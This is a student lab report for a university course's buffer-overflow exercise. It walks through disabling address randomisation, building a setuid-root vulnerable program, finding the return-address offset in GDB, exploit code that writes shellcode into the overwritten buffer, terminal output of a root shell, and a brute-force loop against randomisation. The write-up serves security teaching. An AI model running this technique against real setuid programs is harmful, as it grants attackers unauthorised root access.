
CSC154: Lab 1 - Buffer Overflow

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Introduction

The learning objective of this lab is for students to gain the first-hand experience on buffer-overflow vulnerability by putting what they have learned about the vulnerability from class into action. Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This vulnerability can be utilized by a malicious user to alter the flow control of the program, even execute arbitrary pieces of code. This vulnerability arises due to the mixing of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address.

Initial Setup

Most modern Linux-based operating systems implement address space randomization by default in order to randomize the starting address of heap and stack. In this lab we began by disabling this feature in order to simplify our buffer-overflow attack by more easily calculating the return address. Address randomization is turned off via the following command `sudo sysctl -w kernel.randomize_va_space=0`.

Next we download the vulnerable program **stack.c**, and the exploit code **exploit.c**.

After this we compile the vulnerable program with an executable stack via `sudo gcc -o stack -z execstack -fno-stack-protector stack.c`. We then set ownership of the vulnerable program to the root user via `sudo chown root stack`. Finally we make the vulnerable program *set-root-uid* by issuing `sudo chmod 4755 stack`.

```
[09/12/2019 16:18] seed@ubuntu:~/CSUS-CSC154_Lab1/doitagain$ ls -lah
total 16K
drwxrwxr-x 2 seed seed 4.0K Sep 12 16:18 .
drwxrwx--- 3 seed seed 4.0K Sep 12 16:17 ..
-rwxr-x--- 1 seed seed 1.3K Sep 12 16:18 exploit.c
-rwxr-x--- 1 seed seed 550 Sep 12 16:18 stack.c
[09/12/2019 16:19] seed@ubuntu:~/CSUS-CSC154_Lab1/doitagain$ sudo gcc -o stack -
z execstack -fno-stack-protector stack.c
[09/12/2019 16:20] seed@ubuntu:~/CSUS-CSC154_Lab1/doitagain$ sudo chown root sta
ck
[09/12/2019 16:20] seed@ubuntu:~/CSUS-CSC154_Lab1/doitagain$ sudo chmod 4755 sta
ck
[09/12/2019 16:20] seed@ubuntu:~/CSUS-CSC154_Lab1/doitagain$ ls -lah
total 24K
drwxrwxr-x 2 seed seed 4.0K Sep 12 16:20 .
drwxrwx--- 3 seed seed 4.0K Sep 12 16:17 ..
-rwxr-x--- 1 seed seed 1.3K Sep 12 16:18 exploit.c
-rwsr-xr-x 1 root root 7.2K Sep 12 16:20 stack
-rwxr-x--- 1 seed seed 550 Sep 12 16:18 stack.c
[09/12/2019 16:20] seed@ubuntu:~/CSUS-CSC154_Lab1/doitagain$
```

Figure 1: Intial setup of Task 1.

We're now ready to begin exploiting the buffer-overflow vulnerability in **stack.c**.

Task 1: Exploiting the Vulnerability (No Address Randomization)

Calculating the return address

In order to achieve a buffer-overflow, we must first calculate where the return address lies on the stack. Running the vulnerable executable *GDB* allows us to print the address of *buffer* and the *ebp* register, which can be used to calculate the address of where the function returns.

First recompile **stack.c** to create a copy we're able to work with via `gcc -z execstack -fno-stack-protector -g -o stack_gdb stack.c`. Now the executable we'll debug is called *stack_gdb*. Furthermore, we need a file named *badfile* in our directory in order to execute the program correctly. So we create an empty file with that name via `echo ""> badfile`.

```
[09/12/2019 17:40] seed@ubuntu:~/CSUS-CSC154_Lab1/doitagain$ gcc -z execstack -f
no-stack-protector -g -o stack_gdb stack.c
[09/12/2019 17:40] seed@ubuntu:~/CSUS-CSC154_Lab1/doitagain$ echo "" >> badfile
[09/12/2019 17:40] seed@ubuntu:~/CSUS-CSC154_Lab1/doitagain$ ls -lah
total 40K
drwxrwxr-x 2 seed seed 4.0K Sep 12 17:40 .
drwxrwx--- 3 seed seed 4.0K Sep 12 16:17 ..
-rw-rw-r-- 1 seed seed 1 Sep 12 17:40 badfile
-rwxr-x--- 1 seed seed 1.3K Sep 12 16:18 exploit.c
-rwsr-xr-x 1 root root 7.2K Sep 12 16:20 stack
-rwxr-x--- 1 seed seed 550 Sep 12 16:18 stack.c
-rwxrwxr-x 1 seed seed 9.6K Sep 12 17:40 stack_gdb
```

Figure 2: We are now ready to begin debugging.

We issue the command `gdb stack_gdb` to begin debugging the vulnerable executable. First we set a breakpoint at the `bof()` function, where our buffer-overflow vulnerability lies via `b bof`, and then issue `run` to hit said breakpoint.

```
[09/13/2019 13:46] seed@ubuntu:~/CSUS-CSC154_Lab1/doitagain$ gdb stack_gdb
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/seed/CSUS-CSC154_Lab1/doitagain/stack_gdb...done.
(gdb) b bof
Breakpoint 1 at 0x804848a: file stack.c, line 14.
(gdb) run
Starting program: /home/seed/CSUS-CSC154_Lab1/doitagain/stack_gdb

Breakpoint 1, bof (str=0xbffff127 "\n\001") at stack.c:14
14      strcpy(buffer, str);
(gdb) █
```

Figure 3: GDB debugger at `bof()` breakpoint.

Now that we've reached our breakpoint at `bof()`, we print our address values for the `buffer` and `ebp` register. Subtracting the address of `buffer` from `ebp` will allow us to calculate the return address.

```
[09/13/2019 13:50] seed@ubuntu:~/CSUS-CSC154_Lab1/doitagain$ gdb stack_gdb
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/seed/CSUS-CSC154_Lab1/doitagain/stack_gdb...done.
(gdb) b bof
Breakpoint 1 at 0x804848a: file stack.c, line 14.
(gdb) run
Starting program: /home/seed/CSUS-CSC154_Lab1/doitagain/stack_gdb

Breakpoint 1, bof (str=0xbffff127 "\n\001") at stack.c:14
14      strcpy(buffer, str);
(gdb) p &buffer
$1 = (char (*)[24]) 0xbffff0e8
(gdb) p $ebp
$2 = (void *) 0xbffff108
(gdb) p 0xbffff108 - 0xbffff0e8
$3 = 32
(gdb)
```

Figure 4: Offset is 32 bytes.

Since we see the value of the offset is 32 bytes, we can calculate the return address to be 36, as it's 4 bytes above this. We can now complete our *exploit.c* file by adding the following code in *main()*.

```
1      /* You need to fill the buffer with appropriate contents here */
2      // From tasks A and B
3      *((long *) (buffer + 36)) = 0xbffff108 + 0x100;
4
5      // Place the shell code towards the end of the buffer
6      memcpy(buffer + sizeof(buffer) - sizeof(shellcode) , shellcode ,
             sizeof(shellcode));
```

We then compile our exploit code via `gcc -o exploit exploit.c`, and run the exploit to generate the contents of our *badfile*. When we run the vulnerable program at this point we're able to cause a buffer-overflow and achieve a root shell.

```
[09/13/2019 13:58] seed@ubuntu:~/CSUS-CSC154_Lab1/doitagain$ ls -lah
total 48K
drwxrwxr-x 2 seed seed 4.0K Sep 13 13:58 .
drwxrwx--- 3 seed seed 4.0K Sep 12 17:44 ..
-rw-rw-r-- 1 seed seed 1 Sep 12 17:40 badfile
-rwxrwxr-x 1 seed seed 7.2K Sep 13 13:58 exploit
-rwxr-x--- 1 seed seed 1.5K Sep 13 13:57 exploit.c
-rwsr-xr-x 1 root root 7.2K Sep 12 16:20 stack
-rwxr-x--- 1 seed seed 550 Sep 12 16:18 stack.c
-rwxrwxr-x 1 seed seed 9.6K Sep 12 17:40 stack_gdb
[09/13/2019 13:59] seed@ubuntu:~/CSUS-CSC154_Lab1/doitagain$ ./exploit
[09/13/2019 13:59] seed@ubuntu:~/CSUS-CSC154_Lab1/doitagain$ ./stack
# whoami
root
#
```

Figure 5: root shell.

Task 2: Exploiting the Vulnerability (Address Randomization)

For this exercise we turn address randomization back on via `sudo sysctl -w kernel.randomize_va_space=2`. Now when we run the same attack which previously succeeded, we get a segmentation fault.

```
[09/13/2019 22:15] seed@ubuntu:~/CSUS-CSC154_Lab1/doitagain$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[09/13/2019 22:15] seed@ubuntu:~/CSUS-CSC154_Lab1/doitagain$ ./stack
Segmentation fault (core dumped)
[09/13/2019 22:16] seed@ubuntu:~/CSUS-CSC154_Lab1/doitagain$
```

Figure 6: Segmentation fault caused by address randomization.

By running our attack in a loop, we're able to brute-force our return address. The following code runs our attack multiple times, measuring the time elapsed before achieving a root shell. This Bash script was via email by Professor Dai.

```
1 #!/bin/bash
2 SECONDS=0
```

```
3 value=0
4 while [ 1 ]
5 do
6   value=$(( $value + 1 ))
7   duration=$SECONDS
8   echo "$(($duration / 60)) minutes and $($duration %60) seconds
9     elapsed."
9   echo "The program has been running for $value times."
10  ./stack
11 done
```